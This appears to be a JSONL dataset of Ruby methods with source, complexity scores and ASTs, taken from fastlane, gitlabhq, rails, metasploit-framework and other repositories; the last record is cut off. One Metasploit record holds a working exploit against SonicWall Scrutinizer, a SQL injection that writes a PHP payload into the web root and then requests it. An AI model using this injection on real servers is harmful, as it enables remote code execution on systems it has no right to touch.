{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/test_flight/test_info.rb","start_line":52,"raw_source":"def deep_copy\n      TestInfo.new(raw_data.map(&:dup))\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"deep_copy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestInfo\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"dup\"]}]}]}]}]}","id":"06555f60-3d9e-4e69-ac42-71e52919f9a3"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/taxonomy.rb","start_line":43,"raw_source":"def set_root\n      self.root ||= Taxon.create!(taxonomy_id: id, name: name)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_root\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"root\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Taxon\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"taxonomy_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}]}]}","id":"0bf554f2-d164-4793-9529-c234c1e4fc65"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/sidebar_header_dropdown.rb","start_line":33,"raw_source":"def click_topics_link\n        find(\".sidebar-section-link[data-link-name='everything']\").click\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"click_topics_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".sidebar-section-link[data-link-name='everything']\"]}]},\"click\"]}]}","id":"ff24e39d-0b21-4576-89cf-074e57262197"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb","start_line":75,"raw_source":"def exploit\n    peer = \"#{rhost}:#{rport}\"\n    p = \"<?php #{payload.encoded} ?>\"\n    hex_payload = p.unpack(\"H*\")[0]\n    php_fname = Rex::Text.rand_text_alpha(5) + \".php\"\n    rnd_txt = Rex::Text.rand_text_alpha_upper(3)\n\n    print_status(\"Sending SQL injection...\")\n    res = send_request_cgi({\n      'uri' => normalize_uri(target_uri.path),\n      'method' => 'POST',\n      'vars_post' => {\n        'commonJson' => 'protList',\n        'q' => \"#{rnd_txt}' union select 0x#{hex_payload},0 into outfile '../../html/d4d/#{php_fname}'#\"\n      }\n    })\n\n    if res and res.body !~ /No Results Found/\n      print_error(\"I don't think the SQL Injection attempt worked\")\n      return\n    elsif not res\n      print_error(\"No response from the server\")\n      return\n    end\n\n    # For debugging purposes, this is useful\n    vprint_status(res.to_s)\n\n    target_path = \"#{File.dirname(target_uri.path)}/#{php_fname}\"\n    print_status(\"Requesting: #{target_path}\")\n    send_request_raw({ 'uri' => normalize_uri(target_path) })\n\n    handler\n  end","complexity_score":41.25,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?php \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\" ?>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"hex_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"php_fname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rnd_txt\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_upper\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending SQL injection...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"commonJson\"]},{\"type\":\"str\",\"children\":[\"protList\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"q\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rnd_txt\"]}]},{\"type\":\"str\",\"children\":[\"' union select 0x\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hex_payload\"]}]},{\"type\":\"str\",\"children\":[\",0 into outfile '../../html/d4d/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_fname\"]}]},{\"type\":\"str\",\"children\":[\"'#\"]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"No Results Found\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"I don't think the SQL Injection attempt worked\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No response from the server\"]}]},{\"type\":\"return\",\"children\":[]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"php_fname\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target_path\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"target_path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"3b7c9f9e-cbe5-4bb0-b1d1-50954510b212"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/client/kerberos_authentication.rb","start_line":13,"raw_source":"def authenticate\n    raise ::RubySMB::Error::AuthenticationFailure, \"Missing negotiation security buffer\" if negotiation_security_buffer.nil?\n\n    begin\n      gss_api = OpenSSL::ASN1.decode(negotiation_security_buffer)\n      mech_types = RubySMB::Gss.asn1dig(gss_api, 1, 0, 0, 0)&.value || []\n      has_kerberos_gss_mech_type = mech_types&.any? { |mech_type| mech_type.value == ::Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5.value }\n    rescue OpenSSL::ASN1::ASN1Error\n      raise ::Rex::Proto::Kerberos::Model::Error::KerberosDecodingError.new('Invalid GSS Response')\n    end\n\n    error = \"Unable to negotiate kerberos with the remote host. Expected oid #{::Rex::Proto::Gss::OID_MICROSOFT_KERBEROS_5.value} in #{mech_types.map(&:value).inspect}\"\n    raise ::RubySMB::Error::AuthenticationFailure, error unless has_kerberos_gss_mech_type\n\n    if smb1\n      smb1_authenticate\n    else\n      smb2_authenticate\n    end\n  end","complexity_score":37.05,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"negotiation_security_buffer\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RubySMB\"]},\"Error\"]},\"AuthenticationFailure\"]},{\"type\":\"str\",\"children\":[\"Missing negotiation security buffer\"]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gss_api\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"decode\",{\"type\":\"send\",\"children\":[null,\"negotiation_security_buffer\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mech_types\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RubySMB\"]},\"Gss\"]},\"asn1dig\",{\"type\":\"lvar\",\"children\":[\"gss_api\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"value\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"has_kerberos_gss_mech_type\",{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mech_types\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mech_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mech_type\"]},\"value\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Gss\"]},\"OID_MICROSOFT_KERBEROS_5\"]},\"value\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"ASN1Error\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Kerberos\"]},\"Model\"]},\"Error\"]},\"KerberosDecodingError\"]},\"new\",{\"type\":\"str\",\"children\":[\"Invalid GSS Response\"]}]}]}]},null]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to negotiate kerberos with the remote host. Expected oid \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Proto\"]},\"Gss\"]},\"OID_MICROSOFT_KERBEROS_5\"]},\"value\"]}]},{\"type\":\"str\",\"children\":[\" in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mech_types\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]}]}]},\"inspect\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"has_kerberos_gss_mech_type\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RubySMB\"]},\"Error\"]},\"AuthenticationFailure\"]},{\"type\":\"lvar\",\"children\":[\"error\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"smb1\"]},{\"type\":\"send\",\"children\":[null,\"smb1_authenticate\"]},{\"type\":\"send\",\"children\":[null,\"smb2_authenticate\"]}]}]}]}","id":"12a0ac52-bcd7-4f0a-84b0-07566a4cab48"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/analytics/cycle_analytics/value_stream.rb","start_line":45,"raw_source":"def to_global_id\n        return super if persisted?\n\n        # Returns default name as id for built in value stream at FOSS level\n        name\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_global_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persisted?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"zsuper\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}","id":"f8637640-5da2-4f80-992f-3cd154e4ddee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/duration_type.rb","start_line":12,"raw_source":"def self.coerce_input(value, ctx)\n      case value\n      when Float\n        value\n      when Integer\n        value.to_f\n      when NilClass\n        raise GraphQL::CoercionError, 'Cannot be nil'\n      else\n        raise GraphQL::CoercionError, \"Expected number: got #{value.class}\"\n      end\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"coerce_input\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"ctx\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_f\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NilClass\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphQL\"]},\"CoercionError\"]},{\"type\":\"str\",\"children\":[\"Cannot be nil\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphQL\"]},\"CoercionError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Expected number: got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"class\"]}]}]}]}]}]}","id":"9a59b1bc-32e1-4c00-8293-2d1b9a93ba14"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/drupal.rb","start_line":16,"raw_source":"def setup\n    super\n\n    # Ensure we don't hit a redirect (e.g., /drupal -> /drupal/)\n    # XXX: Naughty datastore modification instead of send_request_cgi!\n    datastore['TARGETURI'] = normalize_uri(datastore['TARGETURI'], '/')\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]}]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}","id":"4c8c7ec5-7b2c-49e8-810e-e0d948b42024"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/object/inclusion_test.rb","start_line":57,"raw_source":"def test_no_method_catching\n    assert_raise(ArgumentError) { 1.in?(1) }\n  end","complexity_score":3.75,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_method_catching\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"in?\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"3033c36d-bd8d-423a-80f5-94055565f838"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/scm/checkout_instructions_service.rb","start_line":104,"raw_source":"def manages_permissions?\n    repository.managed?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"manages_permissions?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"managed?\"]}]}","id":"58b96d89-eeb8-4835-ba3d-99a997a65867"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/notifications/group_member_altered_job.rb","start_line":55,"raw_source":"def matching_timestamps?(member)\n    member.updated_at == member.created_at\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"matching_timestamps?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"updated_at\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"created_at\"]}]}]}","id":"8a16d115-a786-411e-9676-7537744a1b17"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/issues_controller.rb","start_line":381,"raw_source":"def update_service\n    ::Issues::UpdateService.new(\n      container: project,\n      current_user: current_user,\n      params: issue_params,\n      perform_spam_check: true)\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Issues\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"issue_params\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"perform_spam_check\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"923c90b9-b3fb-4f81-b72a-01ca2a41b351"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250305070100_switch_record_change_tracking_to_partitioned_ci_runners_table2.rb","start_line":32,"raw_source":"def down\n    TABLES.each do |table|\n      with_lock_retries do\n        untrack_record_deletions(table)\n      end\n    end\n\n    # Mimic track_record_deletions but in a way to restore the previous state\n    # (i.e. trigger on ci_runners_archived but still named ci_runners_loose_fk_trigger)\n    execute(<<~SQL.squish)\n      CREATE TRIGGER #{record_deletion_trigger_name(:ci_runners)}\n      AFTER DELETE ON ci_runners_archived REFERENCING OLD TABLE AS old_table\n      FOR EACH STATEMENT\n      EXECUTE FUNCTION #{INSERT_FUNCTION_NAME}();\n    SQL\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TABLES\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"untrack_record_deletions\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"CREATE TRIGGER \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record_deletion_trigger_name\",{\"type\":\"sym\",\"children\":[\"ci_runners\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"AFTER DELETE ON ci_runners_archived REFERENCING OLD TABLE AS old_table\\n\"]},{\"type\":\"str\",\"children\":[\"FOR EACH STATEMENT\\n\"]},{\"type\":\"str\",\"children\":[\"EXECUTE FUNCTION \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"INSERT_FUNCTION_NAME\"]}]},{\"type\":\"str\",\"children\":[\"();\\n\"]}]},\"squish\"]}]}]}]}","id":"8062df3e-ab25-4ef6-88ff-07c3b4dc0757"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/update_instance_variables_service.rb","start_line":56,"raw_source":"def persist_records\n      changes = []\n      success = false\n\n      Ci::InstanceVariable.transaction do\n        changes = @records.map do |record|\n          if record.marked_for_destruction?\n            { action: record.destroy, record: record }\n          else\n            { action: record.save, record: record }\n          end\n        end\n        success = changes.all? { |change| change[:action] }\n\n        raise ActiveRecord::Rollback unless success\n      end\n\n      changes.each { |change| audit_change change[:record] }\n\n      success\n    end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"persist_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"InstanceVariable\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@records\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"marked_for_destruction?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"destroy\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"save\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"success\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"action\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"success\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"changes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"change\"]}]},{\"type\":\"send\",\"children\":[null,\"audit_change\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"change\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"record\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"success\"]}]}]}","id":"6bba328f-c578-465e-a36c-8c91da189272"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman.rb","start_line":600,"raw_source":"def self.check_for_missing_checks included_checks, excluded_checks, enabled_checks\n    checks = included_checks.to_a + excluded_checks.to_a + enabled_checks.to_a\n\n    missing = Brakeman::Checks.missing_checks(checks)\n\n    unless missing.empty?\n      raise MissingChecksError, \"Could not find specified check#{missing.length > 1 ? 's' : ''}: #{missing.map {|c| \"`#{c}`\"}.join(', ')}\"\n    end\n  end","complexity_score":21.08,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"check_for_missing_checks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"included_checks\"]},{\"type\":\"arg\",\"children\":[\"excluded_checks\"]},{\"type\":\"arg\",\"children\":[\"enabled_checks\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"checks\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"included_checks\"]},\"to_a\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"excluded_checks\"]},\"to_a\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enabled_checks\"]},\"to_a\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"missing\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Brakeman\"]},\"Checks\"]},\"missing_checks\",{\"type\":\"lvar\",\"children\":[\"checks\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missing\"]},\"empty?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"MissingChecksError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find specified 